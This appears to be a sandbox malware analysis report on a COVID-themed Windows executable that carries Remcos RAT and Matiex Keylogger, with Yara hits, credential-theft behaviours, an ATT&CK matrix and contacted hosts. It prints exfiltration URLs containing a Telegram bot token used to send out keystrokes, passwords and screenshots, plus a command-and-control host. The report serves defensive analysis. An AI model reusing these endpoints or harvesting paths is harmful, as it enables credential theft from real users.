Source: Yara match	File source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.468948804.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429721772.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.432136781.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720, type: MEMORYSTR

Contains functionality to steal Firefox passwords or cookies

Show sources

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: \key3.db

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to harvest and steal WLAN passwords

Show sources

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'netsh' wlan show profile
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'netsh' wlan show profile

Contains functionality to steal Chrome passwords or cookies

Show sources

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dwnl.exe PID: 2896, type: MEMORYSTR

Remote Access Functionality:

Yara detected Matiex Keylogger

Show sources

Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.dwnl.exe.842704.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.dwnl.exe.842704.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2fcf496.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.dwnl.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.dwnl.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2faeb92.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.492777549.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.464230298.0000000002ED1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.424995684.0000000002ED1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.432421502.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.464012145.0000000002F40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429908152.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\dwnl.exe, type: DROPPED

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dwnl.exe PID: 2896, type: MEMORYSTR

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.468948804.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429721772.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.432136781.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720, type: MEMORYSTR

Detected Remcos RAT

Show sources

Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp	String found in binary or memory: Remcos_Mutex_Inj
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp	String found in binary or memory: \uninstall.batEXEpathC:\WINDOWS\system32\userinit.exeexplorer.exeupdate.batAppDataProgramFiles\SysWOW64\system32WinDirSystemDrive@@ (32 bit) (64 bit)SOFTWARE\Microsoft\Windows NT\CurrentVersionProductNameInjRemcos_Mutex_InjSoftware\SetProcessDEPPolicyShell32IsUserAnAdminGetComputerNameExWIsWow64Processkernel32kernel32.dllGlobalMemoryStatusExGetModuleFileNameExWKernel32.dllPsapi.dllGetModuleFileNameExAProgram Files (x86)\Program Files\SETTINGS
Source: UK COVID UPDATES AND ENTITLEMENT.exe	String found in binary or memory: Remcos_Mutex_Inj
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: \uninstall.batEXEpathC:\WINDOWS\system32\userinit.exeexplorer.exeupdate.batAppDataProgramFiles\SysWOW64\system32WinDirSystemDrive@@ (32 bit) (64 bit)SOFTWARE\Microsoft\Windows NT\CurrentVersionProductNameInjRemcos_Mutex_InjSoftware\SetProcessDEPPolicyShell32IsUserAnAdminGetComputerNameExWIsWow64Processkernel32kernel32.dllGlobalMemoryStatusExGetModuleFileNameExWKernel32.dllPsapi.dllGetModuleFileNameExAProgram Files (x86)\Program Files\SETTINGS

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: cmd.exe

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools11	OS Credential Dumping3	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Native API1	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information11	Input Capture121	Account Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Logon Script (Windows)	Access Token Manipulation1	Obfuscated Files or Information3	Credentials In Files2	File and Directory Discovery3	SMB/Windows Admin Shares	Screen Capture1	Automated Exfiltration	Encrypted Channel11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Process Injection312	Software Packing13	NTDS	System Information Discovery45	Distributed Component Object Model	Email Collection1	Scheduled Transfer	Non-Standard Port1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Security Software Discovery221	SSH	Input Capture121	Data Transfer Size Limits	Remote Access Software1	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading1	Cached Domain Credentials	Virtualization/Sandbox Evasion141	VNC	Clipboard Data3	Exfiltration Over C2 Channel	Non-Application Layer Protocol3	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion141	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Application Layer Protocol114	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Access Token Manipulation1	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection312	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Right-to-Left Override	Input Capture	System Network Configuration Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
UK COVID UPDATES AND ENTITLEMENT.exe	26%	Virustotal		Browse
UK COVID UPDATES AND ENTITLEMENT.exe	16%	ReversingLabs	ByteCode-MSIL.Trojan.Sabsik
UK COVID UPDATES AND ENTITLEMENT.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\dwnl.exe	100%	Avira	TR/Redcap.jajcu
C:\Users\user\AppData\Local\Temp\dwnl.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	16%	ReversingLabs	ByteCode-MSIL.Trojan.Sabsik

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack	100%	Avira	HEUR/AGEN.1115265	Download File
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen4	Download File
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1115265	Download File
28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1115265	Download File
33.2.dwnl.exe.820000.0.unpack	100%	Avira	TR/Redcap.jajcu	Download File
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack	100%	Avira	HEUR/AGEN.1115265	Download File
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1115265	Download File
33.0.dwnl.exe.820000.0.unpack	100%	Avira	TR/Redcap.jajcu	Download File

Domains

Source	Detection	Scanner	Link
tobi12345.hopto.org	10%	Virustotal	Browse
freegeoip.app	3%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
https://freegeoip.app	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
tobi12345.hopto.org	10%	Virustotal		Browse
tobi12345.hopto.org	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://ns.adobe.c/gk	0%	Avira URL Cloud	safe
https://freegeoip.app/xml/LoadTimeZoneCountryNameCountryCodehttps://www.geodatatool.com/en/?ip=/	0%	URL Reputation	safe
http://checkip.dyndns.org/HB	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://ns.adb	0%	URL Reputation	safe
http://ns.adobe.cobjk	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	Virustotal		Browse
http://checkip.dyndns.com	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://freegeoip.app/xml/84.17.52.51	0%	Avira URL Cloud	safe
https://api.telegram.orgD8	0%	Avira URL Cloud	safe
http://freegeoip.app	0%	URL Reputation	safe
https://freegeoip.app/xml/	0%	URL Reputation	safe
https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%2	0%	Avira URL Cloud	safe
https://www.geodatatool.com/en/?ip=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://james.newtonking.com/projects/json	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://checkip.dyndns.orgD8	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://ns.ado/1k	0%	Avira URL Cloud	safe
https://www.geodatatool.com/en/?ip=84.17.52.51	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
youtube-ui.l.google.com	172.217.20.14	true	false		high
tobi12345.hopto.org	91.193.75.202	true	true	10%, Virustotal, Browse	unknown
www.google.com	142.250.201.196	true	false		high
freegeoip.app	172.67.188.154	true	false	3%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	false		high
checkip.dyndns.com	158.101.44.242	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	2%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F	false		high
tobi12345.hopto.org	true	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C	false		high
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C	false		high
https://freegeoip.app/xml/84.17.52.51	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	dwnl.exe, 00000021.00000002.500760473.0000000002F24000.00000004.00000001.sdmp	false		high
https://api.telegram.org/bot	dwnl.exe, 00000021.00000002.500760473.0000000002F24000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers?	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
https://freegeoip.app	dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.newtonsoft.com/json	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	false		high
http://www.fontbureau.com/designers	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.gnu.org/licenses/gpl-3.0.htmlF	UK COVID UPDATES AND ENTITLEMENT.exe	false		high
http://www.sajatypeworks.com	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://ns.adobe.c/gk	dwnl.exe, 00000021.00000002.505061578.00000000088C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120	dwnl.exe, 00000021.00000002.500150887.0000000002E2A000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.500313293.0000000002E73000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.500473529.0000000002EAF000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499399021.0000000002D24000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499484272.0000000002D3A000.00000004.00000001.sdmp	false		high
https://freegeoip.app/xml/LoadTimeZoneCountryNameCountryCodehttps://www.geodatatool.com/en/?ip=/	dwnl.exe, 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/HB	dwnl.exe, 00000021.00000002.499364955.0000000002D1C000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://ns.adb	dwnl.exe, 00000021.00000003.484320135.00000000088B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=Createutf-8Win32_ComputerSystemModelManufactu	dwnl.exe, 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp	false		high
http://ns.adobe.cobjk	dwnl.exe, 00000021.00000002.505061578.00000000088C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	dwnl.exe, 00000021.00000002.499484272.0000000002D3A000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.orgD8	dwnl.exe, 00000021.00000002.499399021.0000000002D24000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://freegeoip.app	dwnl.exe, 00000021.00000002.499649327.0000000002DA1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://freegeoip.app/xml/	dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	false		high
